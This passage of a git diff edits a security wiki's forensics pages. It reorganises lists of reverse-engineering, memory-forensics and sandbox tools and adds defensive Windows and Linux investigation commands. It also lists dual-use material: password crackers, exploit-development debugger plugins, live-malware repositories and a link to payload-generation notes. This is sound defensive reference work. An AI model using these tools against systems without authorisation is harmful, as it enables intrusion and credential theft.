_Operator Handbook: Ghidra - pg. 76_ + * Ghidra training rooms have moved to Training. {% embed url="https://www.youtube.com/watch?v=d4Pgi5XML8E" %} * [IDA Pro](https://hex-rays.com/IDA-pro/) - IDA Pro is the industry standard disassembler and debugger, capable of creating execution maps to show binary instructions executed by the processor in a symbolic representation (assembly language). * [ Awesome Lists Collection: IDA](https://github.com/xrkk/awesome-ida/blob/master/Readme\_en.md) * [x64dbg](https://x64dbg.com/) - An open-source x64/x32 debugger for Windows. It is a modern replacement for the classic OllyDbg and offers a comprehensive plugin system. +* [OllyDbg](https://www.kali.org/tools/ollydbg/) - Classic 32-bit Windows assembler-level debugger. Largely historical, but still useful for understanding older reversing material. +* [edb-debugger](https://www.kali.org/tools/edb-debugger/) - Cross-platform x86/x86-64 graphical debugger. +* [GDB](https://www.kali.org/tools/gdb/) - Command-line debugger for Linux binaries. + * [PEDA](https://github.com/longld/peda) - Older GDB extension for exploit development and binary analysis. + * [GEF](https://github.com/hugsy/gef) - Modern GDB extension for exploit development and reverse engineering. + * [pwndbg](https://github.com/pwndbg/pwndbg) - GDB plugin for exploit development and reverse engineering. * [Binary Ninja](https://binary.ninja/) - A modern, commercial reverse engineering platform known for its clean API, high-quality intermediate languages (BNIL), and strong community support. * [dnSpy](https://github.com/dnSpy/dnSpy) / [dnSpyEx](https://github.com/dnSpyEx/dnSpy) - A debugger and .NET assembly editor. You can use it to edit and debug assemblies even if you don't have available source code. * [Rizin](https://github.com/rizinorg/rizin) - Rizin is a fork of the radare2 reverse engineering framework with a focus on usability, working features and code cleanliness. -* [Frida](https://frida.re/) - Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. Can be used offensively for injecting code into running processes. +* [Frida](https://frida.re/) - Dynamic instrumentation toolkit for developers, reverse engineers, and security researchers. This is dual-use; use it only in authorized labs or investigations. +* [OpenOCD](https://www.kali.org/tools/openocd/) - Debugging, in-system programming, and boundary-scan testing for embedded devices. * [retoolkit](https://github.com/mentebinaria/retoolkit) - Reverse Engineer's Toolkit * [alexey-kleymenov/reverse\_engineering\_tools](https://github.com/alexey-kleymenov/reverse\_engineering\_tools) - Various code samples and useful tips and tricks from reverse engineering and malware analysis fields. @@ -72,6 +77,7 @@ There are different types of tools that can be used for this. While generalized * [HexEdit.js](https://hexed.it/) – Browser-based hex editing. * [Hexinator](https://hexinator.com/) – A robust proprietary Hex Editor. +* [ImHex](https://github.com/WerWolv/ImHex) - Modern hex editor with a pattern language for reverse engineering. * [HxD](https://mh-nexus.de/en/hxd/) - A carefully designed and fast hex editor which, additionally to raw disk editing and modifying of main memory (RAM), handles files of any size. ## **Binary Analysis and Parsing Tools** @@ -110,13 +116,8 @@ There are different types of tools that can be used for this. While generalized * [iOS App Reverse Engineering](https://github.com/iosre/iOSAppReverseEngineering) (PDF) * [ProgrammingGroundUp.pdf](https://download-mirror.savannah.gnu.org/releases/pgubook/ProgrammingGroundUp-1-0-booksize.pdf) * [Reversing-Secrets-Engineering](https://www.amazon.com/Reversing-Secrets-Engineering-Eldad-Eilam/dp/0764574817) -* RE Training Courses - * [https://guyinatuxedo.github.io/?mc\_cid=d676bd61c6\&mc\_eid=c18a7def31](https://guyinatuxedo.github.io/?mc\_cid=d676bd61c6\&mc\_eid=c18a7def31) - Nightmare - * [https://malwareunicorn.org/workshops/re101.html#0](https://malwareunicorn.org/workshops/re101.html#0) - * [https://www.begin.re/](https://www.begin.re/) - Reverse Engineering for Beginners - * [https://beginners.re/main.html](https://beginners.re/main.html) - Understanding Assembly Language - * [https://github.com/mytechnotalent/Reverse-Engineering](https://github.com/mytechnotalent/Reverse-Engineering) - A FREE comprehensive reverse engineering tutorial covering x86, x64, 32-bit ARM & 64-bit ARM architectures. - * [https://fumalwareanalysis.blogspot.com/p/malware-analysis-tutorials-reverse.html](https://fumalwareanalysis.blogspot.com/p/malware-analysis-tutorials-reverse.html) - * [https://tryhackme.com/room/introtox8664](https://tryhackme.com/room/introtox8664) - * [https://tryhackme.com/room/basicmalwarere](https://tryhackme.com/room/basicmalwarere) - * [https://tryhackme.com/room/reverseengineering](https://tryhackme.com/room/reverseengineering) +* RE training courses and TryHackMe rooms have moved to Training. + +{% content-ref url="../training/" %} +[training](../training/) +{% endcontent-ref %} diff --git a/dfir-digital-forensics-and-incident-response/file-analysis.md b/dfir-digital-forensics-and-incident-response/file-analysis.md index 975ce98..91dded4 100644 --- a/dfir-digital-forensics-and-incident-response/file-analysis.md +++ b/dfir-digital-forensics-and-incident-response/file-analysis.md @@ -93,16 +93,17 @@ A package of python tools to analyze [Microsoft OLE2 files](http://en.wikipedia. ### Binary Analysis Tools -* [Ghidra](https://ghidra-sre.org/) - A software reverse engineering (SRE) suite of tools developed by NSA's Research Directorate. -* [x64dbg](https://x64dbg.com/) - An open-source x64/x32 debugger for windows. -* [Cutter](https://cutter.re/) - Free and open-source reverse engineering platform powered by Rizin. -* [PEStudio](https://www.winitor.com/) - A tool to perform static analysis of Windows executable files. -* [Capa](https://github.com/mandiant/capa) - Detects capabilities in executable files. You run it against a PE, ELF, or shellcode and it tells you what it thinks the program can do. -* [binwalk](https://www.kali.org/tools/binwalk/) - Binwalk is a tool for searching a given binary image for embedded files and executable code. -* [de4dot](https://www.kali.org/tools/de4dot/) - de4dot is a .NET deobfuscator and unpacker. -* [pev](https://www.kali.org/tools/pev/) - pev is a tool to get information of PE32/PE32+ executables (EXE, DLL, OCX etc) like headers, sections, resources and more. -* [ropper](https://www.kali.org/tools/ropper/) - This package contains scripts that display info about files in different formats and find gadgets to build ROPs chains for different architectures (x86/x86\_64, ARM/ARM64, MIPS, PowerPC). For disassembly ropper uses the Capstone Framework. -* [Malcat](https://malcat.fr/index.html) - Malcat is a feature-rich hexadecimal editor / disassembler for Windows and Linux targeted to IT-security professionals. Inspect dozens of binary file formats, dissassemble and decompile different CPU architectures. +Reverse engineering, debuggers, disassemblers, decompilers, PE capability tools, and hex editors are maintained on the Reverse Engineering page. + +{% content-ref url="binary-analysis-reverse-engineering.md" %} +[binary-analysis-reverse-engineering.md](binary-analysis-reverse-engineering.md) +{% endcontent-ref %} + +File-oriented binary triage tools that also fit here: + +* [binwalk](https://www.kali.org/tools/binwalk/) - Search firmware or binary images for embedded files and executable code. +* [de4dot](https://www.kali.org/tools/de4dot/) - .NET deobfuscator and unpacker. +* [pev](https://www.kali.org/tools/pev/) - PE32/PE32+ executable header, section, resource, and metadata inspection. ### Email Analysis Tools @@ -139,9 +140,16 @@ A package of python tools to analyze [Microsoft OLE2 files](http://en.wikipedia. ## **File Encrypt/Decrypt/Crack** +Use these for protected evidence, encrypted malware samples, password-protected archives, and file recovery work. Password attack methodology lives in Red Offensive. + +{% content-ref url="../red-offensive/testing-methodology/password-attacks.md" %} +[password-attacks.md](../red-offensive/testing-methodology/password-attacks.md) +{% endcontent-ref %} + * [Hashcat](https://hashcat.net/hashcat/) - World's fastest and most advanced password recovery utility. * [John the Ripper](https://www.openwall.com/john/) - Fast password cracker, currently available for many flavors of Unix, Windows, DOS, and OpenVMS. * [CyberChef](https://gchq.github.io/CyberChef/) - "The Cyber Swiss Army Knife". A web app for encryption, encoding, compression and data analysis. +* [HashCalc](https://www.slavasoft.com/hashcalc/) - File hash, checksum, and HMAC calculator. * [Pem File Cracking](https://github.com/robertdavidgraham/pemcrack) - Cracks SSL PEM files that hold encrypted private keys. Brute forces or dictionary cracks. * [PKZip File Cracking (pkcrack)](https://github.com/keyunluo/pkcrack) - Breaking Pkzip encryption. This package implements an algorithm that was developed by Eli Biham and Paul Kocher. The attack is a _known plaintext attack_, which means you have to know part of the encrypted data in order to break the cipher. @@ -210,6 +218,8 @@ $obj.sources.attributes.paths ## Binary Analysis Training -* [https://maxkersten.nl/binary-analysis-course/](https://maxkersten.nl/binary-analysis-course/) +Binary analysis and reverse engineering training links have moved to Training. -**** +{% content-ref url="../training/" %} +[training](../training/) +{% endcontent-ref %} diff --git a/dfir-digital-forensics-and-incident-response/ir-event-log-cheatsheet.md b/dfir-digital-forensics-and-incident-response/ir-event-log-cheatsheet.md index 9609bd3..2e68d3e 100644 --- a/dfir-digital-forensics-and-incident-response/ir-event-log-cheatsheet.md +++ b/dfir-digital-forensics-and-incident-response/ir-event-log-cheatsheet.md @@ -165,7 +165,7 @@ Located in `Applications and Services Logs/Microsoft/Windows/Windows Defender/Op **Events:** * **1000**: Scan started. * **1001**: Scan completed. -* **1116**: Malaria/Threat detection. +* **1116**: Malware/threat detection. * **1117**: Threat action taken (cleaned/quarantined). * **5001**: Real-time protection disabled. @@ -173,6 +173,8 @@ Located in `Applications and Services Logs/Microsoft/Windows/Windows Defender/Op {% embed url="https://static1.squarespace.com/static/552092d5e4b0661088167e5c/t/5eb3687f39d69d48c403a42a/1588816000014/Windows+Sysmon+Logging+Cheat+Sheet_Jan_2020.pdf" %} +The embedded Sysmon cheat sheet is a useful legacy reference. Check the current Sysmon documentation and your deployed configuration because event schemas and coverage change over time. + Location: `Applications and Services Logs/Microsoft/Windows/Sysmon/Operational` * **1**: Process create (CommandLine, Hashes). diff --git a/dfir-digital-forensics-and-incident-response/linux-dfir-commands.md b/dfir-digital-forensics-and-incident-response/linux-dfir-commands.md index 4fabd51..919b964 100644 --- a/dfir-digital-forensics-and-incident-response/linux-dfir-commands.md +++ b/dfir-digital-forensics-and-incident-response/linux-dfir-commands.md @@ -7,6 +7,8 @@ dd if=/dev/kmem of=/root/kmem dd if=/dev/mem of=/root/mem ``` +`/dev/kmem` and `/dev/mem` access is disabled or restricted on many modern Linux systems. Prefer supported memory acquisition tooling such as LiME, LinPMem, or an EDR-supported collection method when available. + [LiME](https://github.com/504ensicsLabs/LiME/releases) ```bash diff --git a/dfir-digital-forensics-and-incident-response/macos-dfir-commands.md b/dfir-digital-forensics-and-incident-response/macos-dfir-commands.md index 9bdf950..b46973c 100644 --- a/dfir-digital-forensics-and-incident-response/macos-dfir-commands.md +++ b/dfir-digital-forensics-and-incident-response/macos-dfir-commands.md @@ -147,6 +147,8 @@ ls ~/Library/Application Support/Firefox/Profiles/********.default/prefs.js #### Safari Internet History +Some Safari artifacts below are legacy plist/cache locations. Modern Safari versions may store history and cache data in SQLite databases or changed container paths, so verify paths against the macOS version under investigation. + ``` cat ~/Library/Safari/Downloads.plist cat ~/Library/Safari/History.plist diff --git a/dfir-digital-forensics-and-incident-response/malware.md b/dfir-digital-forensics-and-incident-response/malware.md index 59ce640..a498ae8 100644 --- a/dfir-digital-forensics-and-incident-response/malware.md +++ b/dfir-digital-forensics-and-incident-response/malware.md @@ -2,7 +2,7 @@ Understanding malware is essential for defensive security operations. Knowledge is the best defense; to protect against threats effectively, one must understand the tools and techniques adversaries use. -This section includes resources on malware analysis, development concepts, and sample repositories. While some tools listed may be used for malicious purposes, they are included here to aid in research, detection engineering, and threat analysis. +This section focuses on defensive malware analysis, malware context, and sample repositories. Offensive malware and payload development references live in Red Offensive. **Disclaimer:** The resources provided here are for educational and research purposes only. **Do not use this knowledge for illegal or malicious activities.** @@ -17,16 +17,15 @@ Malware - For research purposes ONLY * [Awesome Lists Collection: RATs](https://github.com/alphaSeclab/awesome-rat/blob/master/Readme\_en.md) * [Infosec Reference: Malware](https://github.com/rmusser01/Infosec\_Reference/blob/master/Draft/Malware.md) * [Infosec Reference: Rootkits](https://github.com/rmusser01/Infosec\_Reference/blob/master/Draft/Rootkits.md) -* [0xPat](https://0xpat.github.io/) - Red/Purple team blog with excellent write-ups on malware development. -* [Coldfire](https://github.com/redcode-labs/Coldfire) - Golang malware development framework. -* [Malware Development Part 1 (0xPat)](https://0xpat.github.io/Malware\_development\_part\_1/) -* [Malware Development Part 2 (0xPat)](https://0xpat.github.io/Malware\_development\_part\_2/) -* [Malware Analysis Course (RPISEC)](https://class.malware.re/) * [Fantastic Rootkits and Where to Find Them (CyberArk)](https://www.cyberark.com/resources/threat-research-blog/fantastic-rootkits-and-where-to-find-them-part-1) * [Malpedia](https://malpedia.caad.fkie.fraunhofer.de/) - A comprehensive resource for malware identification and context. * [The C2 Matrix](https://www.thec2matrix.com/) - A matrix of Command and Control (C2) frameworks. * [YARA](yara.md) - Guide to YARA rules for malware identification. +{% content-ref url="../red-offensive/testing-methodology/payloads-and-obfuscation/msfvenom-commands.md" %} +[msfvenom-commands.md](../red-offensive/testing-methodology/payloads-and-obfuscation/msfvenom-commands.md) +{% endcontent-ref %} + ## Malware Sample Repositories * [MalwareBazaar](https://bazaar.abuse.ch/) - A project from abuse.ch for sharing malware samples. @@ -37,12 +36,11 @@ Malware - For research purposes ONLY * [vx-underground](https://vx-underground.org/) * [theZoo](https://github.com/ytisf/theZoo) - A repository of LIVE malware for analysis, created to make malware analysis open and available to the public. * [MOTIF (Booz Allen)](https://github.com/boozallen/MOTIF) - The Malware Open-source Threat Intelligence Family (MOTIF) dataset contains 3,095 disarmed PE malware samples from 454 families. -* [Malware IOCs](https://github.com/executemalware/Malware-IOCs) - -## Botnets +* [Malware IOCs](https://github.com/executemalware/Malware-IOCs) - Also listed with CTI feeds for indicator-sharing workflows. -* [BYOB (Build Your Own Botnet)](https://github.com/malwaredllc/byob) - An open-source post-exploitation framework for students, researchers, and developers. - * [BYOB in Action (Perception Point)](https://perception-point.io/resources/research/byob-build-your-own-botnet-in-action/) +{% content-ref url="../cyber-intelligence/intel-feeds-and-sources.md" %} +[intel-feeds-and-sources.md](../cyber-intelligence/intel-feeds-and-sources.md) +{% endcontent-ref %} ## Archived or Inactive Resources diff --git a/dfir-digital-forensics-and-incident-response/memory-forensics/README.md b/dfir-digital-forensics-and-incident-response/memory-forensics/README.md index 11efbdb..23308b9 100644 --- a/dfir-digital-forensics-and-incident-response/memory-forensics/README.md +++ b/dfir-digital-forensics-and-incident-response/memory-forensics/README.md @@ -134,13 +134,13 @@ swapfile.sys (Used by Windows Store (UWP) apps for swapping) * [LiME, Linux Memory Extractor](https://github.com/504ensicsLabs/LiME) * [https://github.com/jschicht/RawCopy](https://github.com/jschicht/RawCopy) - Commandline low level file extractor for NTFS * [Belkasoft Live RAM Capture Tool](https://belkasoft.com/get?product=ram) - Belkasoft Live RAM Capturer is a tiny free forensic tool that allows to reliably extract the entire contents of computer’s volatile memory—even if protected by an active anti-debugging or anti-dumping system. -* [Redline](https://www.fireeye.com/services/freeware/redline.html) - Redline®, FireEye's premier free endpoint security tool, provides host investigative capabilities to users to find signs of malicious activity through memory and file analysis and the development of a threat assessment profile. - * [https://resources.infosecinstitute.com/topic/memory-analysis-using-redline/](https://resources.infosecinstitute.com/topic/memory-analysis-using-redline/) -* [Memoryze](https://www.fireeye.com/services/freeware/memoryze.html) - Mandiant’s Memoryze™ is free memory forensic software that helps incident responders find evil in live memory. Memoryze can acquire and/or analyze memory images and on live systems can include the paging file in its analysis. +* **Redline** - Legacy FireEye/Mandiant host investigation tool. Original FireEye freeware links may no longer be maintained. + * [Memory Analysis Using Redline](https://resources.infosecinstitute.com/topic/memory-analysis-using-redline/) +* **Memoryze** - Legacy Mandiant memory forensic software. Original FireEye freeware links may no longer be maintained. * [MAGNET RAM Capture](https://www.magnetforensics.com/resources/magnet-ram-capture/) - MAGNET RAM Capture is a free imaging tool designed to capture the physical memory of a suspect’s computer, allowing investigators to recover and analyze valuable artifacts that are often only found in memory. * [Volexity Surge](https://www.volexity.com/products-overview/surge/) - Volexity’s Surge Collect offers flexible storage options and an intuitive interface that any responder can run to eliminate the issues associated with the corrupt data samples, crashed target computers, and ultimately, unusable data that commonly results from using other tools. * [https://www.volexity.com/blog/2018/06/12/surge-collect-provides-reliable-memory-acquisition-across-windows-linux-and-macos/](https://www.volexity.com/blog/2018/06/12/surge-collect-provides-reliable-memory-acquisition-across-windows-linux-and-macos/) -* [LiveKD](https://docs.microsoft.com/en-us/sysinternals/downloads/livekd) - Written by Mark Russinovich, _LiveKD_ allows you to run the Kd and Windbg Microsoft kernel debuggers locally on a live system. +* [LiveKD](https://learn.microsoft.com/en-us/sysinternals/downloads/livekd) - Written by Mark Russinovich, _LiveKD_ allows you to run the Kd and Windbg Microsoft kernel debuggers locally on a live system. * [WinPMem](https://github.com/Velocidex/WinPmem/releases) - The Memory forensics utility found within the [Velociraptor](https://github.com/Velocidex/velociraptor) toolset. * [https://winpmem.velocidex.com/docs/memory/](https://winpmem.velocidex.com/docs/memory/) * [dumpscan](https://github.com/daddycocoaman/dumpscan) - **Dumpscan** is a command-line tool designed to extract and dump secrets from kernel and Windows Minidump formats. Kernel-dump parsing is provided by [volatility3](https://github.com/volatilityfoundation/volatility3). @@ -160,7 +160,12 @@ winpmem.exe -o test.raw --format raw -dd ## **Resources** -* [MemLabs](https://github.com/stuxnet999/MemLabs) - Educational, CTF-styled labs for individuals interested in Memory Forensics +* Memory forensics labs and CTFs have moved to Training. + +{% content-ref url="../../training/" %} +[training](../../training/) +{% endcontent-ref %} + * [https://www.howtogeek.com/196672/windows-memory-dumps-what-exactly-are-they-for/](https://www.howtogeek.com/196672/windows-memory-dumps-what-exactly-are-they-for/) * SANS Memory Forensics CheatSheet diff --git a/dfir-digital-forensics-and-incident-response/memory-forensics/volatility.md b/dfir-digital-forensics-and-incident-response/memory-forensics/volatility.md index 31512bb..60ce77f 100644 --- a/dfir-digital-forensics-and-incident-response/memory-forensics/volatility.md +++ b/dfir-digital-forensics-and-incident-response/memory-forensics/volatility.md @@ -18,7 +18,7 @@ Volatility is a memory forensics framework for extracting and analyzing data fro * [Evolve](https://github.com/JamesHabben/evolve): Volatility Web UI (for Volatility 2) * [volatility-autoruns](https://github.com/tomchop/volatility-autoruns/) - Automates most of the tasks you would need to run when trying to find out where malware is persisting from. (for Volatility 2) * [Memory Forensics and Analysis Using Volatility (InfoSec Institute)](https://resources.infosecinstitute.com/topic/memory-forensics-and-analysis-using-volatility/) -* _Operator Handbook: Volatility - pg. 315_ +* Volatility command references change between Volatility 2 and Volatility 3; verify plugin names against the version you are using. ## Volatility 3.x Basics diff --git a/dfir-digital-forensics-and-incident-response/sandboxing.md b/dfir-digital-forensics-and-incident-response/sandboxing.md index a0eaa26..1dd74e1 100644 --- a/dfir-digital-forensics-and-incident-response/sandboxing.md +++ b/dfir-digital-forensics-and-incident-response/sandboxing.md @@ -35,21 +35,26 @@ If you need to inspect a sensitive file: * [https://app.any.run/](https://app.any.run/) (Interactive Sandbox) * [https://tria.ge/](https://tria.ge/) (High-speed malware analysis) * [https://analyze.intezer.com](https://analyze.intezer.com) (Code reuse analysis) -* [https://intelligence.gatewatcher.com/](https://intelligence.gatewatcher.com/) (Threat Intelligence & Sandbox) * [https://labs.inquest.net/dfi](https://labs.inquest.net/dfi) (Deep File Inspection) * [https://manalyzer.org/](https://manalyzer.org/) * [https://threatpoint.checkpoint.com/ThreatPortal/emulation](https://threatpoint.checkpoint.com/ThreatPortal/emulation) * [https://pandora.circl.lu/submit](https://pandora.circl.lu/submit) -* [https://exchange.xforce.ibmcloud.com/](https://exchange.xforce.ibmcloud.com/) ### Specialized Analysis (Firmware, Android, Configs) * [https://koodous.com/](https://koodous.com/) - APK (Android) Sandbox -* [http://firmware.re/](http://firmware.re/) - Firmware Analysis +* [http://firmware.re/](http://firmware.re/) - Firmware analysis. Verify availability before relying on it. * [https://malwareconfig.com/](https://malwareconfig.com/) - Extract configuration from RATs/C2s * [https://id-ransomware.malwarehunterteam.com/](https://id-ransomware.malwarehunterteam.com/) - Identify Ransomware variants -* [https://yaraify.abuse.ch/](https://yaraify.abuse.ch/) - Scan files against public YARA rules + +YARAify and public YARA rule workflows are maintained on the YARA page. + +{% content-ref url="yara.md" %} +[yara.md](yara.md) +{% endcontent-ref %} ### Community & Legacy Instances +Community sandbox availability can change quickly. Verify current status before using these in a workflow. + * [https://sandbox.pikker.ee/](https://sandbox.pikker.ee/) * [https://sandbox.anlyz.io/dashboard](https://sandbox.anlyz.io/dashboard) * [https://iris-h.services/pages/submit](https://iris-h.services/pages/submit) diff --git a/dfir-digital-forensics-and-incident-response/windows-dfir-check-by-mitre-tactic.md b/dfir-digital-forensics-and-incident-response/windows-dfir-check-by-mitre-tactic.md index 2aabaf6..e514d25 100644 --- a/dfir-digital-forensics-and-incident-response/windows-dfir-check-by-mitre-tactic.md +++ b/dfir-digital-forensics-and-incident-response/windows-dfir-check-by-mitre-tactic.md @@ -67,6 +67,8 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCo ## T1197 BITS Jobs +`bitsadmin` is deprecated, but it is still useful during DFIR because older systems and attacker tradecraft may leave BITS artifacts behind. + ``` bitsadmin /list /allusers /verbose Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-Bits-Client/Operational'; Id='59'} | FL TimeCreated,Message @@ -306,7 +308,7 @@ $dll = gps | Where {$_.Modules -like '*{DLLNAME}*' } | Select Modules;$dll.Modul Note: A legitimate clean executable can be used to run malicious DLLs based on how the software searches for them. -More information on [Microsoft Docs](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order) +More information on [Microsoft Learn](https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order) ``` reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs" @@ -453,7 +455,17 @@ Get-ChildItem -path registry::HKLM\SOFTWARE\Wow6432node\Microsoft\Office\*\Addin Get-ChildItem -path registry::HKLM\SOFTWARE\Wow6432node\Microsoft\Office\*\Addins\* Get-ChildItem -path "C:\Users\*\AppData\Roaming\Microsoft\Templates\*" -erroraction SilentlyContinue Get-ChildItem -path "C:\Users\*\AppData\Roaming\Microsoft\Excel\XLSTART\*" -erroraction SilentlyContinue -Get-Ch03 OS Credential Dumping +Get-ChildItem -path C:\ -recurse -include Startup -ea 0 +ls 'C:\Program Files\Microsoft Office\root\*\XLSTART\*' +ls 'C:\Program Files\Microsoft Office\root\*\STARTUP\*' +reg query HKCU\Software\Microsoft\Office\\Outlook\WebView\Inbox +reg query HKCU\Software\Microsoft\Office\\Outlook\Security +reg query HKCU\Software\Microsoft\Office\\Outlook\Today\UserDefinedUrl +reg query HKCU\Software\Microsoft\Office\\Outlook\WebView\Calendar\URL +Get-WinEvent -FilterHashtable @{ LogName='Microsoft Office Alerts'; Id='300';} | FL TimeCreated,Message +``` + +## T1003 OS Credential Dumping Adversaries may dump credentials from the operating system to obtain account login and credential material. @@ -464,23 +476,13 @@ reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v " reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" ``` -## T10ildItem -path C:\ -recurse -include Startup -ea 0 -ls 'C:\Program Files\Microsoft Office\root\*\XLSTART\*' -ls 'C:\Program Files\Microsoft Office\root\*\STARTUP\*' -reg query HKCU\Software\Microsoft\Office\\Outlook\WebView\Inbox -reg query HKCU\Software\Microsoft\Office\\Outlook\Security -reg query HKCU\Software\Microsoft\Office\\Outlook\Today\UserDefinedUrl -reg query HKCU\Software\Microsoft\Office\\Outlook\WebView\Calendar\URL -Get-WinEvent -FilterHashtable @{ LogName='Microsoft Office Alerts'; Id='300';} | FL TimeCreated,Message -``` - ## T1574.009 Path Interception ``` N/A ``` -## T1547.003 Port Monitors +## T1547.010 Port Monitors ``` reg query "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors" /s /v "Driver" @@ -494,8 +496,6 @@ ls C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.*Profile.ps1 ls C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.*Profile.ps1 gci -path "C:\Users\*\Documents\PowerShell\Profile.ps1" gci -path "C:\Users\*\Documents\PowerShell\Microsoft.*Profile.ps1" - -N/A ``` ## T1547.001 Registry Run Keys / Startup Folder @@ -648,7 +648,7 @@ Function Get-WmiNamespace ($Path = 'root') Get-WmiNamespace -Path $FullPath } } -Get-WMINamespace -Recurse +Get-WmiNamespace ``` ### **Query WMI Persistence** diff --git a/dfir-digital-forensics-and-incident-response/windows-dfir-checks.md b/dfir-digital-forensics-and-incident-response/windows-dfir-checks.md index 76bc344..6e6cc02 100644 --- a/dfir-digital-forensics-and-incident-response/windows-dfir-checks.md +++ b/dfir-digital-forensics-and-incident-response/windows-dfir-checks.md @@ -100,6 +100,12 @@ tasklist /svc | findstr "svchost" **Note: This script uses the VirusTotal API v3. It requires an API Key.** +VirusTotal and other reputation services are maintained in Threat Data. + +{% content-ref url="../cyber-intelligence/threat-data.md" %} +[threat-data.md](../cyber-intelligence/threat-data.md) +{% endcontent-ref %} + ```powershell $APIKey = "[VTAPIKey]" $Header = @{ "x-apikey" = $APIKey } @@ -206,7 +212,7 @@ Select-String -Path "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\ #### Master File Table -The Master File Table (MFT) is an incredibly important artifact; however, this can only be read or obtained using low-level disk reading. This contains an entry for every file or directory on the filesystem including metadata about these files, and may provide evidence on files which have been removed (MFT entries marked as ‘free’). More information can be found on [Microsoft Docs](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). +The Master File Table (MFT) is an incredibly important artifact; however, this can only be read or obtained using low-level disk reading. This contains an entry for every file or directory on the filesystem including metadata about these files, and may provide evidence on files which have been removed (MFT entries marked as ‘free’). More information can be found on [Microsoft Learn](https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table). ### Determine Timestomping @@ -369,7 +375,7 @@ Get-CimInstance -Namespace root\subscription -ClassName __EventConsumer ### Investigate WMI Usage -Note: Requires [Strings](https://docs.microsoft.com/en-us/sysinternals/downloads/strings) +Note: Requires [Strings](https://learn.microsoft.com/en-us/sysinternals/downloads/strings) ``` strings -q C:\windows\system32\wbem\repository\objects.data @@ -448,7 +454,7 @@ get-item C:\Windows\system32\drivers\srv.sys | FL VersionInfo get-hotfix -id KB<111111> ``` -More information on [ACE Strings](https://docs.microsoft.com/en-us/windows/win32/secauthz/ace-strings) and the level of access they can provide. +More information on [ACE Strings](https://learn.microsoft.com/en-us/windows/win32/secauthz/ace-strings) and the level of access they can provide. ## Lateral Movement Checks diff --git a/dfir-digital-forensics-and-incident-response/windows-event-logs.md b/dfir-digital-forensics-and-incident-response/windows-event-logs.md index e75ffb3..bc02a0f 100644 --- a/dfir-digital-forensics-and-incident-response/windows-event-logs.md +++ b/dfir-digital-forensics-and-incident-response/windows-event-logs.md @@ -53,7 +53,13 @@ Get-WinEvent -FilterHashtable @{ LogName='Application'; Level='4';} ### Reviewing Audit Policy -To uLegacy Commands +To understand what is being logged, review the current audit policy configuration. + +``` +auditpol /get /category:* +``` + +### Legacy Commands > **Note:** `Get-EventLog` is deprecated and only supports classic event logs. It is recommended to use `Get-WinEvent`. @@ -65,33 +71,13 @@ Get-EventLog -list Get-EventLog Application | Select -Unique Source ``` -### nderstand what is being logged, it is crucial to review the current audit policy configuration. - -``` -auditpol /get /category:* -``` - ### System Monitor (Sysmon) -[Sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) provides detailed information about process creations, network connections, and changes to the file system. - -**Check if Sysmon is running** +Sysmon setup, configuration, and detection use cases live in Event Detection. During DFIR, export `Microsoft-Windows-Sysmon/Operational` along with the other event logs so it can be reviewed offline. -``` -Get-Service sysmon -``` - -**Get Sysmon Configuration** - -``` -sysmon -c -``` - -**Get Sysmon Events** - -``` -Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -``` +{% content-ref url="../blue-defense/event-detection/sysmon.md" %} +[sysmon.md](../blue-defense/event-detection/sysmon.md) +{% endcontent-ref %} ## Exporting Event Logs for Offline Analysis @@ -119,7 +105,7 @@ XCOPY C:\WINDOWS\system32\LogFiles\ [Location] /i ### [User Access Logging (UAL) KStrike Parser](https://github.com/brimorlabs/KStrike) -Note: More information can be found [here](https://docs.microsoft.com/en-us/windows-server/administration/user-access-logging/manage-user-access-logging). Special thanks to Brimor Labs. +Note: More information can be found in [Microsoft Learn](https://learn.microsoft.com/en-us/windows-server/administration/user-access-logging/manage-user-access-logging). Special thanks to Brimor Labs. ``` KStrike.py SYSTEMNAME\Current.mdb > Current_mdb.txt @@ -139,13 +125,17 @@ More information available on the [CrowdStrike Blog - Patrick Bennett](https://w .\DeepBlue.ps1 .\evtx\psattack-security.evtx | FL ``` -For faster analysis of large datasets, consider using Rust-based tools such as [Chainsaw](https://github.com/WithSecureLabs/chainsaw) or [Hayabusa](https://github.com/Yamato-Security/hayabusa). +For faster analysis of large datasets, consider using Rust-based tools such as [Chainsaw](https://github.com/WithSecureLabs/chainsaw) or [Hayabusa](https://github.com/Yamato-Security/hayabusa). Broader detection-engineering context for these tools belongs in Event Detection. + +{% content-ref url="../blue-defense/event-detection/" %} +[event-detection](../blue-defense/event-detection/) +{% endcontent-ref %} ### Event Tracing for Windows (ETW) Event tracing is how a Provider (an application that contains event tracing instrumentation) creates items within the Windows Event Log for a consumer. This is how event logs are generated, and is also a way they can be tampered with. More information on this architecture can be found below. -[Event Tracing Architecture](https://docs.microsoft.com/en-us/windows/win32/etw/about-event-tracing) +[Event Tracing Architecture](https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing) A great [post by Matt Graeber](https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63) goes into some depth on how this works and some common ways of interacting with ETW Traces. diff --git a/dfir-digital-forensics-and-incident-response/windows-process-information.md b/dfir-digital-forensics-and-incident-response/windows-process-information.md index 1019179..fd01fc1 100644 --- a/dfir-digital-forensics-and-incident-response/windows-process-information.md +++ b/dfir-digital-forensics-and-incident-response/windows-process-information.md @@ -46,7 +46,7 @@ tasklist /svc /fi "imagename eq svchost.exe" ### Sysinternals -*Note: `pslist` is part of the [Sysinternals Suite](https://docs.microsoft.com/en-us/sysinternals/).* +*Note: `pslist` is part of the 